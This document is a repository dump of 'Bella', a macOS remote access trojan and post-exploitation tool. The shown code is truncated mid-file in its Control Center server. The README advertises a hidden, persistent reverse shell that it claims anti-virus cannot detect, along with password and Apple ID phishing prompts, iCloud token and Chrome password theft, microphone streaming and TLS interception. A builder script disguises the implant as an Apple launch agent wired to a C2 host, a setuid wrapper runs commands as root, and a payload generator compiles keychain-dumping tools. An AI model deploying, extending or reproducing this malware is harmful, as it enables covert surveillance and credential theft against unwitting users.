├── Payloads ├── vnc ├── speakerpipe ├── lock_icon.png ├── Insomnia.kext │ └── Contents │ │ ├── MacOS │ │ └── Insomnia_r11 │ │ ├── Resources │ │ └── English.lproj │ │ │ └── InfoPlist.strings │ │ ├── Info.plist │ │ └── _CodeSignature │ │ └── CodeResources ├── UID.c ├── payload_generator └── smallbreaker.py ├── Screenshots ├── Builder.png ├── Bella Info.png ├── Command entry.png └── Found Clients.png ├── LICENSE ├── BUILDER ├── README.md ├── Control Center.py └── Bella.py /Payloads/vnc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Payloads/vnc -------------------------------------------------------------------------------- /Payloads/speakerpipe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Payloads/speakerpipe -------------------------------------------------------------------------------- /Payloads/lock_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Payloads/lock_icon.png -------------------------------------------------------------------------------- /Screenshots/Builder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Screenshots/Builder.png -------------------------------------------------------------------------------- /Screenshots/Bella Info.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Screenshots/Bella Info.png -------------------------------------------------------------------------------- /Screenshots/Command entry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Screenshots/Command entry.png -------------------------------------------------------------------------------- /Screenshots/Found Clients.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Screenshots/Found Clients.png -------------------------------------------------------------------------------- /Payloads/Insomnia.kext/Contents/MacOS/Insomnia_r11: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Payloads/Insomnia.kext/Contents/MacOS/Insomnia_r11 -------------------------------------------------------------------------------- /Payloads/Insomnia.kext/Contents/Resources/English.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dayofdoom/Bella/HEAD/Payloads/Insomnia.kext/Contents/Resources/English.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /Payloads/UID.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | int main(int argc, char **argv) 6 | { 7 | setuid(0); 8 | char commands[2048]; //max length 9 | strcpy(commands, ""); 10 | for(int i = 1; i < argc; ++i) //use one otherwise it will call itself . 11 | { 12 | strcat(commands, argv[i]); 13 | strcat(commands, " "); 14 | } 15 | int x = system(commands); 16 | return x; 17 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 manwhoami 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Payloads/Insomnia.kext/Contents/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 14A388a 7 | CFBundleDevelopmentRegion 8 | English 9 | CFBundleExecutable 10 | Insomnia_r11 11 | CFBundleIdentifier 12 | net.semaja2.kext.insomnia 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundlePackageType 16 | KEXT 17 | CFBundleSignature 18 | ???? 19 | CFBundleVersion 20 | 2.1.7 21 | DTCompiler 22 | com.apple.compilers.llvm.clang.1_0 23 | DTPlatformBuild 24 | 6A280e 25 | DTPlatformVersion 26 | GM 27 | DTSDKBuild 28 | 13E28 29 | DTSDKName 30 | macosx10.9 31 | DTXcode 32 | 0600 33 | DTXcodeBuild 34 | 6A280e 35 | IOKitPersonalities 36 | 37 | Insomnia 38 | 39 | CFBundleIdentifier 40 | net.semaja2.kext.insomnia 41 | IOClass 42 | InsomniaK 43 | IOMatchCategory 44 | IODefaultMatchCategory 45 | IONameMatch 46 | IOPMrootDomain 47 | IOProviderClass 48 | IOService 49 | 50 | 51 | OSBundleLibraries 52 | 53 | com.apple.kpi.bsd 54 | 10.0 55 | com.apple.kpi.iokit 56 | 10.0 57 | com.apple.kpi.libkern 58 | 10.0 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /Payloads/payload_generator: -------------------------------------------------------------------------------- 1 | echo 'Generating payloads!' 2 | 3 | base64 vnc > payloads.txt 4 | if [ $? -eq 0 ] 5 | then 6 | echo -e '\033[93mCreated VNC payload.\033[0m' 7 | else 8 | echo -e '\033[91mError creating VNC payload.\033[0m' 9 | echo 'NONE' > payloads.txt 10 | fi 11 | 12 | curl https://raw.githubusercontent.com/juuso/keychaindump.git 13 | cd keychaindump 14 | gcc keychaindump.c -o keychaindump -lcrypto 15 | cd .. 16 | base64 keychaindump/keychaindump >> payloads.txt 17 | if [ $? -eq 0 ] 18 | then 19 | echo -e '\033[93mCreated keychaindump payload.\033[0m' 20 | else 21 | echo -e '\033[91mError creating keychaindump payload.\033[0m' 22 | echo 'NONE' >> payloads.txt 23 | fi 24 | 25 | git clone https://github.com/richardkiss/speakerpipe-osx.git 26 | cd speakerpipe-osx 27 | make 28 | cp speakerpipe ../ 29 | cd .. 30 | base64 speakerpipe-osx/mikepipe >> payloads.txt 31 | if [ $? -eq 0 ] 32 | then 33 | echo -e '\033[93mCreated microphone payload.\033[0m' 34 | else 35 | echo -e '\033[91mError creating microphone payload.\033[0m' 36 | echo 'NONE' >> payloads.txt 37 | fi 38 | gcc UID.c -o rootshell 39 | base64 rootshell >> payloads.txt 40 | if [ $? -eq 0 ] 41 | then 42 | echo -e '\033[93mCreated rootshell payload.\033[0m' 43 | else 44 | echo -e '\033[91mError creating rootshell payload.\033[0m' 45 | echo 'NONE' >> payloads.txt 46 | fi 47 | zip -r Insomnia.zip Insomnia.kext 48 | base64 Insomnia.zip >> payloads.txt 49 | if [ $? -eq 0 ] 50 | then 51 | echo -e '\033[93mCreated Insomnia payload.\033[0m' 52 | else 53 | echo -e '\033[91mError creating Insomnia payload.\033[0m' 54 | echo 'NONE' >> payloads.txt 55 | fi 56 | 57 | base64 lock_icon.png >> payloads.txt 58 | if [ $? -eq 0 ] 59 | then 60 | echo -e '\033[93mCreated Lock Icon payload.\033[0m' 61 | else 62 | echo -e '\033[91mError creating Lock Icon payload.\033[0m' 63 | echo 'NONE' >> payloads.txt 64 | fi 65 | 66 | base64 smallbreaker.py >> payloads.txt 67 | if [ $? -eq 0 ] 68 | then 69 | echo -e '\033[93mCreated Chainbreaker payload.\033[0m' 70 | else 71 | echo -e '\033[91mError creating Chainbreaker payload.\033[0m' 72 | echo 'NONE' >> payloads.txt 73 | fi 74 | 75 | echo 'Done!' -------------------------------------------------------------------------------- /Payloads/Insomnia.kext/Contents/_CodeSignature/CodeResources: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | files 6 | 7 | Resources/English.lproj/InfoPlist.strings 8 | 9 | hash 10 | 11 | LE6sNDMBwbnUz+i9zA56lgq89Zw= 12 | 13 | optional 14 | 15 | 16 | 17 | files2 18 | 19 | Resources/English.lproj/InfoPlist.strings 20 | 21 | hash 22 | 23 | LE6sNDMBwbnUz+i9zA56lgq89Zw= 24 | 25 | optional 26 | 27 | 28 | 29 | rules 30 | 31 | ^Resources/ 32 | 33 | ^Resources/.*\.lproj/ 34 | 35 | optional 36 | 37 | weight 38 | 1000 39 | 40 | ^Resources/.*\.lproj/locversion.plist$ 41 | 42 | omit 43 | 44 | weight 45 | 1100 46 | 47 | ^version.plist$ 48 | 49 | 50 | rules2 51 | 52 | .*\.dSYM($|/) 53 | 54 | weight 55 | 11 56 | 57 | ^(.*/)?\.DS_Store$ 58 | 59 | omit 60 | 61 | weight 62 | 2000 63 | 64 | ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ 65 | 66 | nested 67 | 68 | weight 69 | 10 70 | 71 | ^.* 72 | 73 | ^Info\.plist$ 74 | 75 | omit 76 | 77 | weight 78 | 20 79 | 80 | ^PkgInfo$ 81 | 82 | omit 83 | 84 | weight 85 | 20 86 | 87 | ^Resources/ 88 | 89 | weight 90 | 20 91 | 92 | ^Resources/.*\.lproj/ 93 | 94 | optional 95 | 96 | weight 97 | 1000 98 | 99 | ^Resources/.*\.lproj/locversion.plist$ 100 | 101 | omit 102 | 103 | weight 104 | 1100 105 | 106 | ^[^/]+$ 107 | 108 | nested 109 | 110 | weight 111 | 10 112 | 113 | ^embedded\.provisionprofile$ 114 | 115 | weight 116 | 20 117 | 118 | ^version\.plist$ 119 | 120 | weight 121 | 20 122 | 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /BUILDER: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ $# -eq 0 ]; then 3 | printf "Please specify a bella server.\nUSAGE: ./BUILDER 'Bella.py'\n" 4 | exit 1 5 | fi 6 | bella=$1 7 | bellaNoExt=${bella%.*} 8 | BuildsPath=Builds/$(date '+%m-%d@%H_%M') 9 | export C_INCLUDE_PATH=/System/Library/Frameworks/Python.framework/Headers 10 | mkdir -p $BuildsPath 11 | cp $bella $BuildsPath/bella.py 12 | #cp Payloads/INSTALLER $BuildsPath/INSTALLER 13 | 14 | read -p "What should the Launch Agent named? Default is [com.apple.Bella]: " launchagent 15 | if [[ -z "$launchagent" ]]; then 16 | launchagent='com.apple.Bella' 17 | fi 18 | read -p "Where should Bella be stored in ~/Library/? Default is [Containers/.bella]: " helperLoc 19 | if [[ -z "$helperLoc" ]]; then 20 | helperLoc='Containers/.bella' 21 | fi 22 | read -p "Where should Bella connect to: " host 23 | if [[ -z "$host" ]]; then 24 | echo -e '\033[31mYou need to enter a command and control center IP address / Domain.\033[0m' 25 | exit 1 26 | fi 27 | read -p "What port should Bella connect on [Default is 4545]: " port 28 | if [[ -z "$port" ]]; then 29 | port=4545 30 | fi 31 | 32 | echo -e '\033[92mConfiguring your Bella installation\033[0m' 33 | sed -i '' -e "s@com.apple.Bella@$launchagent@" $BuildsPath/bella.py 34 | sed -i '' -e "s@Containers/.bella@$helperLoc@" $BuildsPath/bella.py 35 | sed -i '' -e "s@4545@$port@" $BuildsPath/bella.py 36 | sed -i '' -e "s@127.0.0.1@$host@" $BuildsPath/bella.py 37 | sed -i '' -e "s@\(^[[:space:]]*\)\(print.*$\)@@g" $BuildsPath/bella.py 38 | #sed -i '' -e "s@LAUNCHAGENTNAME=NONE@LAUNCHAGENTNAME=$launchagent@" $BuildsPath/INSTALLER 39 | #sed -i '' -e "s@HELPERLOCATION=NONE@HELPERLOCATION=$helperLoc@" $BuildsPath/INSTALLER 40 | #sed -i '' -e "s@#Framework. This will be modified with the build. DO NOT USE THIS.@@" $BuildsPath/INSTALLER 41 | sed -i '' -e "s@development = True@development = False@" $BuildsPath/bella.py 42 | 43 | if [ $? -eq 0 ] 44 | then 45 | echo -e '\033[94mDone!\033[0m' 46 | else 47 | echo -e '\033[91mError inserting config variables!\033[0m' 48 | exit 1 49 | fi 50 | 51 | #read -p "Do you want to convert Bella to a C binary? It will take a while to convert, and you will need to have Cython installed. [Y for a compiled C binary, N to keep Bella in Python] " -n 1 52 | #if [[ ! $REPLY =~ [Yy]$ ]] 53 | #then 54 | echo -e '\033[92mPreparing Python code.\033[0m' 55 | #python -m py_compile $BuildsPath/bella.py 56 | mv $BuildsPath/bella.py $BuildsPath/$bellaNoExt 57 | echo -e '\033[94mDone!\033[0m' 58 | #else 59 | # printf '\n\033[92mConverting Python ['$bella'] to C code ['$bellaNoExt'.c]\033[0m\n' 60 | # cython -2 --embed -o $BuildsPath/$bellaNoExt.c $BuildsPath/bella.py #input bella.py , out bella.c 61 | # 62 | # if [ $? -eq 0 ] 63 | # then 64 | # echo -e '\033[93mConverted! Compiling. This may take a while.\033[0m' 65 | # else 66 | # echo -e '\033[91mError converting to C code!\033[0m' 67 | # exit 1 68 | # fi 69 | # gcc -Os -o $BuildsPath/$bellaNoExt $BuildsPath/$bellaNoExt.c -lpython2.7 -lpthread -lm -lutil -ldl 70 | # echo '' 71 | # if [ $? -eq 0 ] 72 | # then 73 | # echo -e '\033[94mDone!\033[0m' 74 | # else 75 | # echo -e '\033[91mError compiling C code!\033[0m' 76 | # exit 1 77 | # fi 78 | #mv $BuildsPath/$bellaNoExt.c $BuildsPath/server.c 79 | #fi 80 | #compiled. now upload bella and payloads. 81 | #payloads_path=Payloads/payloads.txt 82 | #read -p "Do you want to generate your own payloads, or use the pregenerated ones? [Y to build your own, N to use pregenerated] " -n 1 83 | #if [[ ! $REPLY =~ [Yy]$ ]] 84 | #then 85 | # printf '\nUsing prebuilt payloads\n' 86 | # payloads_path=Payloads/Prebuilt/payloads.txt 87 | #else 88 | # echo 89 | # cd Payloads 90 | # ./payload_gen 91 | # cd ../ 92 | # pwd 93 | #fi 94 | #zip -j $BuildsPath/bella.zip $BuildsPath/$bellaNoExt $payloads_path 95 | 96 | #x=$(xxd -p $BuildsPath/INSTALLER) #hex code of the installer 97 | #printf "echo \"$x\" | xxd -r -p | bash" > $BuildsPath/KITTEN 98 | 99 | #echo -ne '\033[32m' 100 | 101 | #ftp -n ftp.ipage.com </dev/null 112 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Bella 2 | Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS. 🍎💻 3 | 4 | 5 | ##What is it? 6 | Bella is a robust, `pure python`, post-exploitation and remote administration tool for macOS. 7 | 8 | `Bella` a.k.a. the `server` is an SSL/TLS encrypted reverse shell that can be dropped on any system running macOS >= 10.6. `Bella` offers the following features: 9 | 10 | 1. `Pseudo-TTY that emulates an SSH instance` [CTRL-C support for most functions, streaming output, full support for inline bash scripting, tab completion, command history, etc]. 11 | 12 | 2. `Auto installer!` Just execute the binary, and Bella takes care of the rest - a persistent reverse shell in a hidden location on the hard drive, undetectable by anti-viruses. 13 | 14 | 3. `Upload / Download any file[s]` 15 | 16 | 4. `Reverse VNC Connection.` 17 | 18 | 5. `Stream and save the computer's microphone input.` 19 | 20 | 6. `Login / keychain password phishing through system prompt.` 21 | 22 | 7. `Apple ID password phishing through iTunes prompt.` 23 | 24 | 8. `iCloud Token Extraction.` 25 | 26 | 9. `Accessing all iCloud services of the user through extracted tokens or passwords.` 27 | 28 | `This includes: iCloud Contacts, Find my iPhone, Find my Friends, iOS Backups.` 29 | 30 | 10. `Google Chrome Password Extraction.` 31 | 32 | 11. `Chrome and Safari History Extraction.` 33 | 34 | 12. `Auto Keychain decryption upon discovery of kc password.` 35 | 36 | 13. `macOS Chat History.` 37 | 38 | 14. `iTunes iOS Backup enumeration.` 39 | 40 | 15. `Extensive logging of all Bella activity and downloaded files.` 41 | 42 | 16. `VERY comprehensive data storage.` All information that Bella discovers [tokens, passwords, etc] is stored in an encrypted SQL database on the computer running Bella. This information is used for faster function execution, and a "smarter" reverse shell. 43 | 44 | 17. `A lot of other great features!` Mess around with it to see it in action. 45 | 46 | 47 | These are some of the features available when we are in the userland. This shell is accessible at any time when the user has an internet connection, which occurs when they are logged in and the computer is not asleep. 48 | 49 | If we get `root`, Bella's capabilities greatly expand. 50 | 51 | Similar to the `getsystem` function on a meterpreter shell, Bella has a `get_root` function that will attempt to gain root access through a variety of means, including through a phished user password and/or local privilege escalation exploits if the system is vulnerable. 52 | 53 | Upon gaining root access, Bella will migrate over to a hidden directory in /Library, and will load itself as a LaunchDaemon. This now provides remote access to the Bella instance **at all times**, as long as the computer has a network connection. Once we get root, we can do the following: 54 | 55 | 56 | 1. `MULTI-USER SUPPORT!` Bella will keep track of all information from any active users on the computer in a comprehensive database, and will automatically switch to the active computer user. All of the aforementioned data extraction techniques are now available for every user on the machine. 57 | 58 | 2. `Decrypt ALL TLS/SSL traffic and redirect it through the control center!` [a nice, active, MITM attack] 59 | 60 | 3. `Disable/Enable the Keyboard and/or Mouse.` 61 | 62 | 4. `Load an Insomnia KEXT to keep a connection open if the user closes their laptop.` 63 | 64 | 5. `Automatic dumping of iCloud Tokens and Chrome passwords` [leverages keychaindump and chainbreaker if SIP is disabled] 65 | 66 | 5. `A lot of behind the scenes automation.` 67 | 68 | 69 | ##HOW TO USE 70 | 71 | **Bella**'s `power` lies in its high level of automation of most of the painstaking tasks that one faces in a post-exploitation scenario. It is incredibly easy to **setup and use**, requires no pre-configuration on the target, and very little configuration on the Control Center. It leverages the *incredible* behind the scenes power of macOS and Python for a fluid post-exploitation experience. 72 | 73 | 1. Download / clone this repository. 74 | 75 | 2. Run ./BUILDER and enter the appropriate information. It should look something like this: 76 | ![](Screenshots/Builder.png) 77 | 3. That's it! Bella is all ready to go. Just upload and execute `Bella` on your macOS target. 78 | 4. Now run `Control Center.py` on your macOS control center. It requires no-dependencies [except for mitmproxy if you want to MITM]. It will do some auto-configuration, and you will see something like this after a few seconds. 79 | ![](Screenshots/Found Clients.png) 80 | The Control Center will constantly update this selection, for up to 128 separate computers. 81 | 5. Press `Ctrl-C` to choose from the selection, and then type in the number of the computer that you want. You will then be presented with a screen like this. 82 | ![](Screenshots/Command entry.png) 83 | 6. Start running commands! `bella_info` is a great one. Run `manual` to get a full manual of all of the commands. Also, you can hit tab twice to see a list of available commands. 84 | ![](Screenshots/Bella Info.png) 85 | 86 | **Little note**: Bella works across the internet, if you do some configuration. Configure your firewall to forward Bella's port to your Control Center. Other important ports to forward: 87 | 1) VNC - 5500. 2) Microphone - 2897. 3) MITM - 8081 88 | 89 | ##Other Information 90 | This project is being **actively** maintained. Please submit any and all bug reports, questions, feature requests, or related information. 91 | 92 | 93 | 94 | Bella leverages keychaindump, VNC, microphone streaming, etc, by sending base64 encoded C binaries over to the Bella server / target. I have included pre-compiled and encoded files in the Payloads/payloads.txt file. If you wish to compile your own version of these payloads, here is what to do after you compile them: 95 | 96 | 1. Encode them in base64 and put them in the payloads.txt in the following order, each one separated by a new line. 97 | 2. vnc, keychaindump, microphone, rootshell, insomnia, lock_icon, chainbreaker. 98 | 99 | payload_generator in the Payloads directory should help with this. 100 | 101 | Please let me know if you have any issues. 102 | 103 | ###HUGE thanks 104 | `https://github.com/juuso/keychaindump` 105 | 106 | `https://github.com/n0fate/chainbreaker` 107 | 108 | `https://github.com/richardkiss/speakerpipe-osx` 109 | 110 | `https://github.com/semaja2/InsomniaX` 111 | 112 | `https://github.com/stweil/OSXvnc` 113 | 114 | 115 | ###TODO 116 | 1. `Control Center support for Linux` [shouldn't take too much tweaking] 117 | 118 | 1. `Reverse SOCKS proxy to tunnel our traffic through the server.` 119 | 120 | 2. `Firefox password decryption / extraction` 121 | 122 | 3. `Keystroke logging with legible output [80% done]` 123 | 124 | 4. `Detect ALL programs that cause a block, and kill them [85% done]` 125 | 126 | 5. The `interactive_shell` command, that provides a fully interactive tty through the `ptty`module. The only downside to this feature at the moment is that is cannot run the pre-programmed functions. [95% done, just working on integration for pre-programmed functions] 127 | 128 | ####Some design points 129 | 1. As previously stated, Bella is a pseudo-TTY. By this, the base socket and remote code execution handling of Bella is a fairly abstracted version of a very simple request-response socket. Bella receives a command from the server. If the command matches a pre-programmed function (i.e chrome history dump), then it will perform that function, and send the response back to the client. The client will then handle the response in the same way. After processing the response, it will prompt the client for another command to send. 130 | 131 | 2. Issues with a low-level socket are numerous, and not limited to: 132 | 3. Program execution that blocks and hangs the pipe, waiting for output that never comes (sudo, nano, ftp) 133 | 4. Not knowing how much data to expect in the socket.recv() call. 134 | 5. Not being able to send ctrl-C, ctrl-Z and similar commands. 135 | 6. No command history 136 | 7. A program that crashes can kill a shell. 137 | 8. One-to-one response and request. 138 | 3. Bella address the above by: 139 | 4. recv() and send() functions that serialize the length of the message, and loop through response/requests accordingly. 140 | 5. Readline integration to give a more 'tty' like feel, including ctrl-C support, command history, and tab completion. 141 | 6. Detecting programs that block, and killing them **beta** 142 | 7. Allowing multiple messages to be sent at once without the client prompting for more input (great for commands like ping, tree, and other commands with live updates). 143 | 144 | For full information on the pre-programmed functions, run the `manual` command when connected to the server. 145 | 146 | -- -------------------------------------------------------------------------------- /Control Center.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import socket, os, sys, select, time, bz2, random, platform, datetime, base64, pickle 4 | import re, urllib, json, subprocess, errno, struct, optparse, ssl 5 | try: 6 | import gnureadline 7 | macOS_rl = False 8 | except ImportError: 9 | import rlcompleter 10 | import readline 11 | macOS_rl = True 12 | 13 | violet = '\001\033[95m\002' 14 | blue = '\001\033[94m\002' #94 for original light blue 15 | lightBlue = '\001\033[34m\002' 16 | green = '\001\033[92m\002' #32 for a little darker 17 | darkGreen = '\001\033[32m\002' 18 | yellow = '\001\033[93m\002' 19 | red = '\001\033[31m\002' 20 | endC = '\001\033[0m\002' 21 | bold = '\001\033[1m\002' 22 | italics = '\001\033[3m\002' 23 | underline = '\001\033[4m\002' 24 | ps1Green = '\001\033[1;32m\022' 25 | offGreen = '\001\033[36m\002' #light blue lol 26 | offBlue = '\001\033[38;5;148m\002' 27 | purple = '\001\033[0;35m\002' 28 | redX = "%s[x] %s" % (red, endC) 29 | greenCheck = "%s[+] %s" % (green, endC) 30 | bluePlus = "%s[*] %s" % (blue, endC) 31 | 32 | commands = ['iCloud_query', 'upload', 'download', 'screen_shot', 'iCloud_contacts', 'iCloud_FMF', 'chrome_dump', 'shutdown_server', 'iCloud_FMIP', 'chrome_safe_storage', 'insomnia_load', 'insomnia_unload', 'iCloud_token', 'iCloud_phish', 'mike_stream', 'reboot_server', 'safari_history', 'check_backups','keychain_download', 'mitm_start', 'mitm_kill', 'chat_history', 'get_root', 'bella_info', 'current_users', 'sysinfo', 'user_pass_phish'] 33 | 34 | def subprocess_cleanup(subprocess_list): 35 | if len(subprocess_list) > 0: 36 | print '\nCleaning up subprocesses', 37 | for x in subprocess_list: 38 | os.kill(x, 9) 39 | return 0 40 | 41 | def row_set(): 42 | return int(subprocess.check_output("stty size", shell=True).split()[1]) 43 | 44 | def clear(*null): 45 | return os.system("clear") 46 | 47 | def string_log(logged, client_log_path, client_name): 48 | if not os.path.isfile(os.path.join(client_log_path, client_name + ".txt")): 49 | #print "Logs deleted, starting new log file." 50 | try: 51 | os.makedirs(client_log_path) #create directory if it does not exist 52 | #print "Rebuilt user log path" 53 | except OSError as e: 54 | if e[0] == 17: 55 | pass 56 | pass 57 | open(os.path.join(client_log_path, client_name + ".txt"), 'w').close() #create file if it does not exist 58 | with open(os.path.join(client_log_path, client_name + ".txt"), "ab") as content: 59 | if len(logged) > 0: 60 | if logged[-1] == '\n': 61 | content.write(logged)#fixes double printing of new line 62 | else: 63 | content.write(logged + '\n') 64 | else: 65 | content.write(logged) 66 | 67 | def byte_convert(byte): 68 | for count in ['B','K','M','G']: 69 | if byte < 1024.0: 70 | return ("%3.1f%s" % (byte, count)).replace('.0', '') 71 | byte /= 1024.0 72 | return "%3.1f%s" % (byte, 'TB') 73 | 74 | def downloader(fileContent, file_name, client_log_path, client_name, path=''): 75 | if path: 76 | if not os.path.isdir(client_log_path + path): 77 | os.makedirs(os.path.join(client_log_path + path)) 78 | with open(os.path.join(client_log_path, path, file_name), 'w') as content: 79 | content.write(fileContent) 80 | downloaded = "%s%s [%sB] successfully downloaded to [%s]" % (bluePlus, file_name, byte_convert((os.path.getsize(os.path.join(client_log_path, path, file_name)))), os.path.join("/".join(client_log_path.rsplit("/", 3)[1:3]), path)) 81 | print downloaded 82 | string_log(downloaded, client_log_path, client_name) 83 | 84 | def encode(key, clear): 85 | enc = [] 86 | for i in range(len(clear)): 87 | key_c = key[i % len(key)] 88 | enc_c = chr((ord(clear[i]) + ord(key_c)) % 256) 89 | enc.append(enc_c) 90 | return base64.urlsafe_b64encode("".join(enc)) 91 | 92 | def decode(key, enc): 93 | dec = [] 94 | enc = base64.urlsafe_b64decode(enc) 95 | for i in range(len(enc)): 96 | key_c = key[i % len(key)] 97 | dec_c = chr((256 + ord(enc[i]) - ord(key_c)) % 256) 98 | dec.append(dec_c) 99 | return "".join(dec) 100 | 101 | def send_msg(sock, msg): 102 | msg = pickle.dumps(msg) 103 | finalMsg = struct.pack('>I', len(msg)) + msg 104 | sock.sendall(finalMsg) 105 | 106 | def recv_msg(sock): 107 | raw_msglen = recvall(sock, 4, True) 108 | if not raw_msglen: 109 | return None 110 | msglen = struct.unpack('>I', raw_msglen)[0] 111 | return recvall(sock, msglen, False) 112 | 113 | def recvall(sock, n, length): 114 | if length: 115 | return sock.recv(4) 116 | data = '' 117 | while len(data) < n: 118 | packet = sock.recv(n - len(data)) 119 | if not packet: 120 | return None 121 | data += packet 122 | return pickle.loads(data) #convert the data back to normal 123 | 124 | def tab_parser(text, exist): 125 | global file_list 126 | for File in file_list: 127 | if File.startswith(text): 128 | if not exist: 129 | return File 130 | else: 131 | exist -= 1 132 | 133 | def progressbar(width, prefix, size): 134 | count = len(width) 135 | def show(_i): 136 | x = int(size*_i/count) 137 | string3 = "%s[%s%s] \r" % (prefix, "#"*x, "."*(size-x)) 138 | sys.stdout.write(string3) 139 | sys.stdout.flush() 140 | show(0) 141 | for i, item in enumerate(width): 142 | yield item 143 | show(i+1) 144 | sys.stdout.write("\n") 145 | sys.stdout.flush() 146 | 147 | def main(): 148 | serverisRoot = False 149 | ctrlC = False 150 | active=False 151 | first_run = True 152 | logpath = 'Logs/' 153 | helperpath = '' 154 | client_log_path = '' 155 | client_name = '' 156 | clients = [] 157 | connections = [] 158 | subprocess_list = [] 159 | global file_list 160 | file_list = commands 161 | computername = '' 162 | activate = 0 163 | columns = row_set() 164 | if not os.path.isfile("%sserver.key" % helperpath): 165 | print '\033[91mGENERATING CERTIFICATES TO ENCRYPT THE SOCKET.\033[0m\n\n' 166 | os.system('openssl req -x509 -nodes -days 365 -subj "/C=US/ST=Bella/L=Bella/O=Bella/CN=bella" -newkey rsa:2048 -keyout %sserver.key -out %sserver.crt' % (helperpath, helperpath)) 167 | clear() 168 | port = 4545 169 | print '%s%s%s%s' % (purple, bold, 'Listening for clients over port [%s]'.center(columns, ' ') % port, endC) 170 | 171 | sys.stdout.write(blue + bold) 172 | for i in progressbar(range(48), '\t ', columns - 28): 173 | time.sleep(0.05) 174 | sys.stdout.write(endC) 175 | colors = [blue, green, yellow] 176 | random.shuffle(colors) 177 | 178 | binder = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 179 | binder.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 180 | binder.bind(('', port)) 181 | binder.listen(128) #max number of connections macOS can handle 182 | 183 | while True: 184 | columns = row_set() 185 | try: 186 | #c.settimeout(4) 187 | try: 188 | #wrap before we accept 189 | #to generate certs: openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt 190 | sock, accept = ssl.wrap_socket(binder, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE, server_side=True, keyfile='%sserver.key' % helperpath, certfile='%sserver.crt' % helperpath).accept() 191 | except socket.timeout: 192 | continue 193 | except IOError as e: 194 | if e.errno == 2: 195 | print 'You must generate SSL certificates to encrypt the socket.' 196 | os.remove('%sserver.key' % helperpath) #openssl will create this empty, so remove junk 197 | exit() 198 | 199 | if(accept): 200 | sock.settimeout(None) 201 | connections +=[sock] 202 | clients += [accept] 203 | clear() #see how many more we can accept, clear 204 | print "%s%s%s%s\n" % (purple, bold, 'Found clients!'.center(columns, ' '), endC) 205 | if len(clients)>0: 206 | dater=[] 207 | colorIndex = 0 208 | for j in range(0,len(clients)): 209 | if colorIndex == len(colors): 210 | colorIndex = 0 211 | try: 212 | send_msg(connections[j], 'get_client_info') #we do this because this section of this program doesnt understand the EOF construct / tuple serialization 213 | message = recv_msg(connections[j]) 214 | dater.append(message) 215 | except socket.error as e: 216 | connections = [] 217 | clients = [] 218 | break 219 | print '%s%s%s%s' % (colors[colorIndex], bold, ('[%s] %s, %s' % ((j+1), dater[j][0], clients[j][0])).center(columns, ' '), endC) 220 | colorIndex += 1 221 | print yellow + ("_"*(columns-30)).center(columns, ' ') + endC 222 | 223 | except KeyboardInterrupt: 224 | clear() 225 | if len(clients)>0: 226 | print "%s%s%s%s\n" % (purple, bold, 'Enter ID to initiate connection:'.center(columns, ' '), endC) 227 | colorIndex = 0 228 | for j in range(0,len(clients)): 229 | if colorIndex == len(colors): 230 | colorIndex = 0 231 | print '%s%s%s%s' % (colors[colorIndex], bold, ('[%s] %s, %s' % ((j+1), dater[j][0], clients[j][0])).center(columns, ' '), endC) 232 | colorIndex += 1 233 | print yellow + ("_"*(columns-30)).center(columns, ' ') + endC 234 | while True: 235 | try: 236 | activate = input() 237 | try: 238 | clients[activate - 1][0] 239 | except IndexError: 240 | print "Client [%s] does not exist. Try again." % activate 241 | continue 242 | break 243 | except 